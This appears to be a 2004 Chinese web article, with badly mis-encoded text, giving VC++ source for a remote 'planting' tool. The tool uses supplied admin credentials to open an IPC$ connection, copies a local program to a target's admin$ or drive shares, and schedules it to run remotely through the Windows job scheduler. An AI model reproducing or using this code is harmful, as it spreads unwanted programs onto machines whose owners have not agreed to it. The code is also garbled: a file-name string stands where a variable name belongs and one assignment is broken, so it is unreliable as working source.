輝念了崔��RL遍匈 >> 窮辻僥垪 >> 室宝猟姜 >> 屎猟
VC++謹�灣恭�IPC殻嶽峅直瀧
栖坿�佐黏仍� 扮寂��2004定11埖23晩9:30

VC++謹�灣恭�IPC殻嶽峅直瀧

麼勣糞�峇�鷹泌和/////////////////////////////////////////////////////////////////////////////////////
typedef struct TagHost
{
CString host;
CString user;
CString pass;
CString 2004112393044.htm;
CString LocalFilePath;
CListBox* list;
}IPC;

void CShareDlg::OnStart() 尼強�潦茂�
{
  UpdateData(TRUE);
  IPC* ipc = new IPC;
  ipc->host = m_host;
  ipc->user = m_user;
  ipc->pass = m_pass;
  ipc->LocalFilePath = m_localfile;
  ipc->2004112393044.htm = 2004112393044.htm;
  ipc->list = &m_list;
  AfxBeginThread(ThreadIpcConnect,ipc);
}

�潦�/////////////////////////////////////////////////////////////////////////////////////////////////
UINT ThreadIpcConnect(LPVOID lpvoid)
{
  IPC* ipc;
  CListBox* list;

  ipc = (IPC*)lpvoid;
  CString host;
  CString admin;
  CString pass;
  CString 2004112393044.htm;
  CString localfilepath;

  host = ipc->host ;
  pass = ipc->pass;
  admin = ipc->user;
  localfilepath = ipc->LocalFilePath;
  2004112393044.htm =ipc->2004112393044.htm ;
list = ipc->list;
  BOOL IpcConnect;

  LPTIME_OF_DAY_INFO TimeBuf=NULL;
  NET_API_STATUS Status;

  CString RemoteFilePath,CmdCom("admin$\\");
///////////////////////////////IPC銭俊////////////////////////////////////////////////////////////////
  NETRESOURCE ns;
  TCHAR buf[MAX_PATH];
  wsprintf(buf,"\\\\%s\\ipc$",host);
  ZeroMemory(&ns,sizeof(ns));
  ns.dwScope=RESOURCE_GLOBALNET;
  ns.dwType=RESOURCETYPE_ANY;
  ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
  ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
  ns.lpLocalName="";
  ns.lpRemoteName=buf;
  ns.lpProvider=NULL;
  ns.lpComment=NULL;
  CString hhost = host;
  IpcConnect =WNetAddConnection2(&ns,pass,admin,0);
///秀羨IPC銭俊
  if(IpcConnect)
  {
//銭俊撹孔朔
///////////////////////////銭俊撹孔貧勧猟周//////////////////////////////////////////////////////////
    RemoteFilePath=("\\\\"+host+"\\admin$\\"+2004112393044.htm);
    IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
//鹸崙猟周欺admin$(winnt) 泌惚鹸崙払移�����鯑篷�慌�軫�鹸崙
      if(!IpcConnect)
        {
          RemoteFilePath=("\\\\"+host+"\\C$\\"+2004112393044.htm);
          CmdCom="C:\\"+2004112393044.htm;
          IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
            if(!IpcConnect)
            {
               RemoteFilePath=("\\\\"+host+"\\D$\\"+2004112393044.htm);
               CmdCom="D:\\"+2004112393044.htm;
               IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
           if(!IpcConnect)
                  {
                     RemoteFilePath=("\\\\"+host+"\\E$\\"+2004112393044.htm);
                     CmdCom="E:\\"+2004112393044.htm;
                     IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
                     if(!IpcConnect)
                       {
                        RemoteFilePath ("\\\\"+host+"\\F$\\"+2004112393044.htm);
                        CmdCom = "F:\\"+2004112393044.htm;
                     IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);
                       }
                  }
              }
         }
///////////////////////////誼欺垓殻麼字扮寂///////////////////////////////////////////////////////////
         if(IpcConnect)
         {//資函垓殻麼字扮寂
           Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);
            if(Status==NERR_Success)
            {//試函扮寂撹孔
///////////////////////////尼強朕炎猟周///////////////////////////////////////////////////////////////
              DWORD day=1,JobTime;
              AT_INFO ai;
              day=day*2;
              ai.Command=CmdCom.AllocSysString();
              ai.DaysOfMonth=day;
              ai.DaysOfWeek=0;
              ai.Flags=JOB_NONINTERACTIVE;
              ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;
              Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);
              //尼強貧勧議猟周��匯蛍嶝朔尼強
              if(Status==NERR_Success)
              {
                list->AddString(host+"尼強撹孔");
              }
              else
                list->AddString(host+"尼強払移");
              }
          else
            {
             list->AddString(host+"資函扮寂払移");
            }
         }
         else
         {
          list->AddString(host+"鹸崙猟周払移");
         }
    }
    else
    list->AddString(host+"銭俊払移");
return TRUE;
}
散哭寄社辛參孀厘匯軟僥楼,QQ:27272855;泌惚寄社勣坿旗鷹��栖孀厘��厘短腎寂��侭參短。。。。。。。。。

‐寄 嶄 弌/‐窟燕得胎/‐購液完笥/
 *�犢慘蔦�
書晩犯泣
書晩芙曝娼僉